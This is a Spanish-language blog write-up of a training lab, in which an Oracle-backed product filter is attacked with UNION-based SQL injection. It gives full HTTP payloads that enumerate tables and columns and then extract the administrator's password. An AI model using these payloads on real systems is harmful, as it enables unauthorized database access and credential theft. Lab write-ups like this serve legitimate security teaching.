SQL injection attack, listing the database contents on Oracle writeup

Descripción

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the administrator user.

SQL injection attack, listing the database contents on Oracle writeup

Este laboratorio deberemos de resolverlo en seis pasos:

Encontrar la petición vulnerable a SQL injection:

Accedemos al laboratorio y capturamos un filtrado de productos con el ‘Logger’ de Burp Suite:

Enviamos esta petición al ‘Repeater’ con Ctrl + R o Click derecho -> Send to Repeater. Ahí podremos trabajar.

Determinar el número de columnas que devuelve la petición

Para ello usaremos la técnica del laboratorio SQL injection UNION attack, determining the number of columns returned by the query. La petición será la siguiente:

GET /filter?category=Gifts'+UNION+SELECT+NULL,+NULL+from+dual+-- HTTP/2

Nota: En este caso el comentario de línea es ‘–‘.

La petición devuelve 2 columnas:

Determinar qué columna devuelve texto

Debido a que queremos obtener la versión (texto), tendremos que realizar un UNION attack con otra columna que devuelva texto. Para ello usaremos el código explicado en el laboratorio SQL injection UNION attack, finding a column containing text. La petición será la siguiente:

GET /filter?category=Gifts'+UNION+SELECT+NULL,+'test'+from+dual+-- HTTP/2

En este caso la columna que devuelve texto es la segunda.

Obtener el esquema de la base de datos

Cambiaremos el código por el siguiente:

GET /filter?category=Gifts'+UNION+SELECT+NULL,+table_name+from+all_tables+-- HTTP/2

Obtendremos la siguiente información:

Hay muchas tablas, pero la que necesitamos es la de ‘USERS_LRDYOI’.

Obtener la información de la tabla

GET /filter?category=Gifts'+UNION+SELECT+NULL,+column_name+from+all_tab_columns+where+table_name='USERS_LRDYOI'-- HTTP/2

Encontramos así los nombres de las columnas de la tabla:

Conseguir la contraseña del usuario administrator

Modificaremos la petición con el noombre de la columna de la contraseña, el nombre de la tabla de los usuarios y le indicaremos que nos devuelva sólo el resultado de la fila donde el nombre del usuario sea ‘administrator’ (dado que sabemos el nombre de usuario por la descripción del laboratorio).

GET /filter?category=Gifts’+UNION+SELECT+NULL,+PASSWORD_DFPKSJ+from+USERS_LRDYOI+where+USERNAME_EPTYHL=’administrator’– HTTP/2

Al enviar la petición obtendremos la contraseña:

Y al iniciar sesión en el navegador completaremos el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *